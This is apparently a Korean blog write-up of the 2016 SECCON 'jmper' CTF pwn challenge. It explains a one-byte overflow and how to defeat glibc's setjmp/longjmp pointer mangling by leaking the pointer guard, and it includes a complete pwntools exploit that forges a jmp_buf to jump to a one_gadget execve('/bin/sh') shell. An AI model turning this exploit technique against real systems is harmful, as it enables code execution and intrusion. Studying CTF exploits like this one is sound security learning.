2016 seccon jmper
ㅎㅎ 재밌는 문제였다.
취약점은 one byte overflow
이며, 특별한 것은 setjmp
, longjmp
함수를 이용하여 함수간 점프를 한다는 것이다.
위 setjmp
함수에서 jmpbuf
에 레지스터 값을 저장하고
student_num
변수가 29를 넘게 되면 longjmp
로 점프한다 !
이 때, jmpbuf
를 참조하여 저장된 eip
로 이동하며, 그 때의 setjmp
함수의 리턴값은 114514
가 된다.
setjmp
했을 때의 jmpbuf
의 상황을 보자.
요롷게 되어있다.
xxxxxxxxxx
00009 typedef struct {
00010 /** Saved return address */
00011 uint32_t retaddr;
00012 /** Saved stack pointer */
00013 uint32_t stack;
00014 /** Saved %ebx */
00015 uint32_t ebx;
00016 /** Saved %esi */
00017 uint32_t esi;
00018 /** Saved %edi */
00019 uint32_t edi;
00020 /** Saved %ebp */
00021 uint32_t ebp;
00022 } jmp_buf[1];
struct
를 찾아보니 위와 같이 나와 있었다.
흠.. 근데 반대로 되어있었다. 버전이 다른건가
0, ebp
, edi
, esi
, ebx
, ecx
, esp
, eip
순서이다.
근데 값들을 보면 무작위 16진수 8개로 구성되어 있는데, longjmp
할 때 이 값들을 어떻게 처리하는지 확인해보자.
값을 받아오고, ror r8, 0x11
, xor r8, magic_number
를 실행한다.
여기서 magic_number
는 tcb structure
에 나와있으므로, 확인해 보자.
xxxxxxxxxx
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;
pointer_guard
값이라고 생각된다.
이 값을 알아내야 우리가 원하는 값을 암호화시켜 넣고 연산을 마쳣을때 원하는 값이 나오게 할 수 있겠다.
이는 암호화된 eip
를 leak
한 후, 역연산으로 알아낼 수 있다.
ROR(encrypted_eip, 0x11) ^ magic_number = 0x400c31
이니, 매직넘버를 알아낼 수 있다!
이렇게 magic_number
를 알아낸 후, 익스하면 된다리!
from pwn import *
#context.log_level= 'debug'
e = ELF('jmper')
s = process(e.path, env={'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc.so.6'})
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
def menu(sel):
sla(':)\n', sel)
def add():
menu('1')
def name(idx, name):
menu('2')
sla(':', idx)
sla(':', name)
def memo(idx, data):
menu('3')
sla(':', idx)
sla(':', data)
def show_name(idx):
menu('4')
sla(':', idx)
def show_memo(idx):
menu('5')
sla(':', idx)
add() #0
memo('0', 'A'*0x20)
show_memo('0')
ru('A'*0x20)
heap = u32(s.recvuntil('1.', drop=True).ljust(4, '\x00'))
log.info('heap: {}'.format(hex(heap)))
for _ in xrange(29):
add()
memo('0', 'A'*0x20 + '\x00')
name('0', 'A'*8 + p64(heap-0x110-0xf0-0x8))
name('0', p64(e.got['setvbuf']-8) + p64(heap-0x110+0x30))
show_memo('1')
l_base = u64(s.recv(6).ljust(8,'\x00')) - l.symbols['setvbuf']
log.info('l_base: {}'.format(hex(l_base)))
show_memo('2')
rip = u64(s.recv(8))
log.info('rip: {}'.format(hex(rip)))
def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size )
return (body + remains)
def ROR(data, shift, size=64):
shift %= size
body = data >> shift
remains = (data << (size - shift)) - (body << size)
return (body + remains)
magic = ROR(rip, 0x11) ^ 0x400c31
log.info('magic: {}'.format(hex(magic)))
one_list = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one = l_base + one_list[2]
dump = '''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
ex = ROL(heap^magic, 0x11)
one = ROL(one^magic, 0x11)
memo('3', 'A'*0x20 + '\x50')
name('3', 'A'*8 + p64(heap-0x110+0x30))
name('3', p64(ex) + p64(one))
add()
io()
'system > writeup' 카테고리의 다른 글
2019 besidesSF straw-clutcher (0) | 2019.03.15 |
---|---|
2019 aeroctf remote_storage (0) | 2019.03.14 |
pwnable.tw de-aslr (0) | 2019.03.11 |
pwnable.tw kidding (0) | 2019.03.10 |
pwnable.kr + pwnable.tw unexploitable (0) | 2019.03.08 |